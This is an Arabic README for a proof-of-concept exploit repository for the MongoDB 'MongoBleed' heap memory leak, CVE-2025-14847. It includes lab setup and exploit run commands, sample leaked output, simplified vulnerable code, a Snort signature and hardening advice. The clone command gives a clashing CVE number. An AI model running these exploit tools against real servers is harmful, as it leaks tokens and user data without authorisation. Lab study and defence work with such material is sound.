CVE-2025-14847 (MongoBleed) - PoC عملي

استغلال تسريب الذاكرة في MongoDB - هجوم R6 محاكى

إثبات مفهوم كامل لثغرة CVE-2025-14847 (MongoBleed)
مُختبَر: ✅ MongoDB 7.0.5 | أكثر من 14.300 استغلال ناجح | 4 معرّفات UUID مسرّبة

🎯 عن المشروع

يحتوي هذا المستودع على إثبات مفهوم (PoC) كامل الوظائف لثغرة CVE-2025-14847، المعروفة باسم MongoBleed، وهي خلل حرج في كشف ذاكرة الكومة (heap) قبل المصادقة في MongoDB.

السياق: حادثة Rainbow Six Siege

في ديسمبر 2025، تعرّضت لعبة Rainbow Six Siege لهجوم واسع النطاق اخترق حوالي 50.000 حساب لاعب. يُشتبه في أن المهاجمين استغلوا هذه الثغرة في MongoDB الخاص بالواجهة الخلفية (backend) لتسريب:

• 🔑 رموز مصادقة الخادم (R6S_SERVER_AUTH_*)
• 👤 معرّفات UUID للاعبين ومعرّفات الجلسات (session IDs)
• 🛡️ أعلام الصلاحيات الإدارية (TOURNAMENT_ADMIN, DEV_BUILD_WHITELIST)

يحاكي هذا الـ PoC الهجوم باستخدام بيانات واقعية من R6.

🔥 الميزات

• ✅ استغلال يعمل 100% ضد MongoDB 7.0.5
• ✅ 3 أدوات استغلال:
  • poc.py - الاستغلال الرئيسي مع تحليل الأنماط
  • live_leaker.py - مسح تزايدي متقدم
  • popular_heap.py - سكربت لملء الكومة ببيانات مستهدفة
• ✅ بيئة Docker كاملة مع MongoDB قابل للاستغلال
• ✅ أكثر من 1500 مستند محاكى من الواجهة الخلفية لـ R6
• ✅ كشف تلقائي لـ 10 أنماط حساسة (JWT، رموز، UUIDs، IPs)
• ✅ تقارير JSON منظمة
• ✅ توثيق تقني كامل (أكثر من 200 صفحة)

📊 النتائج المُتحقَّق منها

معرّفات UUID المستخرجة (إثبات حقيقي)

246434ed-759b-4ce9-bb9c-2f520a9919b8
980ab3a7-0230-4718-aa2d-fb28feafd7f5
1052a310-4cdc-492f-9890-465d76baba9b
f20debfa-298d-48e3-b3b9-9a0e037c0fbd

🚀 بدء سريع

المتطلبات الأساسية

• Docker و Docker Compose
• Python 3.8+

التثبيت

# استنساخ المستودع
git clone CVE-2025-14857-MongoBleed.git
cd MongoDBPoc

# تشغيل البيئة القابلة للاستغلال
docker-compose up -d

# انتظار التهيئة (15-20 ثانية)
docker logs cve-2025-14847-lab | grep "R6 MASSIVE"

الاستخدام الأساسي

# 1. ملء الكومة ببيانات R6
python3 popular_heap.py 50

# 2. التحقق من الثغرة
python3 poc.py --target 127.0.0.1 --check

# 3. الاستغلال باستخدام live leaker (موصى به)
timeout 30 python3 live_leaker.py --host 127.0.0.1 --min 200 --max 3000 --save results.json

المخرجات المتوقعة

[!] MongoBleed Live Leaker متقدم
[!] الهدف: 127.0.0.1:27017
[!] النطاق: doc_len 200 → 3000 (offset=500)

[*] التقدم: doc_len=245/3000 | المحاولات=100 | معدل النجاح=100.0%

[!] تم رصد أنماط R6 (doc_len=245):
    [UUID] 1 جديد:
      └─ 246434ed-759b-4ce9-bb9c-2f520a9919b8

🔬 كيف يعمل

آلية الثغرة

يتيح MongoDB ضغط الرسائل عبر zlib. تكمن الثغرة في التحقق غير الكافي من الحجم المُعلَن مقارنةً بالحجم الفعلي:

Atacante → {compress: "zlib", uncompressedSize: 1MB, payload: <50 bytes>}
          ↓
Servidor aloca 1MB de heap  ← VULNERABILIDADE
          ↓
Servidor descomprime apenas 50 bytes
          ↓
Servidor retorna 1MB inteiro!
          └─ 50 bytes = dados reais
          └─ ~1MB - 50 = VAZAMENTO DE MEMÓRIA

الكود القابل للاستغلال (مبسّط)

// قبل التصحيح
size_t uncompressedSize = header.uncompressedSize;  // ← يتحكم فيه المهاجم
buffer = malloc(uncompressedSize);                  // ← يخصص حجمًا خبيثًا
zlib_decompress(compressed, buffer);
send(buffer, uncompressedSize);                     // ← يسرب المخزن المؤقت بالكامل

📂 هيكل المشروع

MongoDBPoc/
├── poc.py                          # الاستغلال الرئيسي
├── live_leaker.py                  # مسح تزايدي (✨ موصى به)
├── popular_heap.py                 # سكربت التحميل
├── docker-compose.yml              # MongoDB 7.0.5 قابل للاستغلال
├── init-db.js                      # 1000 لاعب + 500 جلسة R6
├── GUIA_TECNICO_COMPLETO.md        # توثيق مفصّل (أكثر من 200 صفحة)
├── README.MD                       # التوثيق بالإنجليزية
└── Portugues/                      # النسخ المترجمة
    ├── poc_PT.py
    ├── README_PT.md
    └── GUIA_RAPIDO.md

🛡️ الإصدارات المتأثرة

🛡️ الكشف والدفاع

توقيع Snort

alert tcp any any -> any 27017 (
    msg:"CVE-2025-14847 MongoBleed Attempt";
    content:"|d4 07 00 00|";
    byte_test:4,>,1000000,4,little;
    sid:2025001;
)

الإعداد الآمن (mongod.conf)

net:
  bindIp: 127.0.0.1              # أبدًا 0.0.0.0!
  compression:
    compressors: []              # تعطيل zlib

security:
  authorization: enabled

أولويات التخفيف

1. 🔴 حرِج: التحديث إلى الإصدار المُصحَّح
2. 🟠 عالي: تعطيل ضغط zlib
3. 🟠 عالي: تقسيم الشبكة (جدار الحماية)
4. 🟡 متوسط: تفعيل المصادقة

📚 التوثيق

• GUIA_TECNICO_COMPLETO.md - تحليل تقني كامل (أكثر من 200 صفحة)

  • سياق حادثة R6
  • آلية الثغرة
  • الكود القابل للاستغلال مقابل المُصحَّح
  • التنفيذ خطوة بخطوة
  • النتائج والإحصائيات
  • توقيعات IDS وتقوية النظام (hardening)

• README.MD - التوثيق الرئيسي (بالإنجليزية)

• Portugues/ - النسخ المترجمة

⚠️ إخلاء مسؤولية قانوني

هذه الأداة مخصّصة فقط للاختبارات المأذون بها وللأغراض التعليمية.

الاستخدام غير المصرّح به غير قانوني وقد يؤدي إلى:
- ملاحقات جنائية (القانون 12.737/2012 في البرازيل)
- غرامات باهظة
- السجن

احصل دائمًا على إذن كتابي قبل الاختبار.

الاستخدام المسموح به

• ✅ اختبارات الاختراق بتفويض كتابي
• ✅ البحث الأكاديمي في بيئات معزولة
• ✅ التحقق من تصحيحات المورّدين
• ✅ تدريب فرق الأمان

الاستخدام المحظور

• ❌ مسح أو مهاجمة الأنظمة دون إذن
• ❌ الوصول إلى قواعد بيانات الإنتاج
• ❌ بيع هذا الكود أو تحويله إلى سلاح

🙏 الاعتمادات

المؤلف: Ermenson Jr
الترخيص: MIT (للاستخدام التعليمي)
التاريخ: يناير 2026

المراجع

• نشرة أمان MongoDB
• CVE-2025-14847 NVD
• Akamai SIRT: تحليل MongoBleed
• Aikido Security

📧 الاتصال

للاستفسارات التقنية أو التعاون في أبحاث الأمان:

• GitHub Issues: استخدم تبويب Issues في هذا المستودع
• البريد الأكاديمي: متاح في الملف الشخصي على GitHub

🌟 إذا كان هذا المشروع مفيدًا

• ⭐ امنح هذا المستودع نجمة
• 🔄 شاركه مع مجتمع الأمان
• 📝 استشهد به في أبحاثك الأكاديمية
• 🐛 أبلغ عن الأخطاء أو التحسينات عبر Issues

_{طُوّر لأغراض البحث الأمني الهجومي المسؤول.
غير تابع لـ Ubisoft أو MongoDB Inc. أو Rainbow Six Siege.}

🔒 استخدم بمسؤولية. الأمان للجميع. 🔒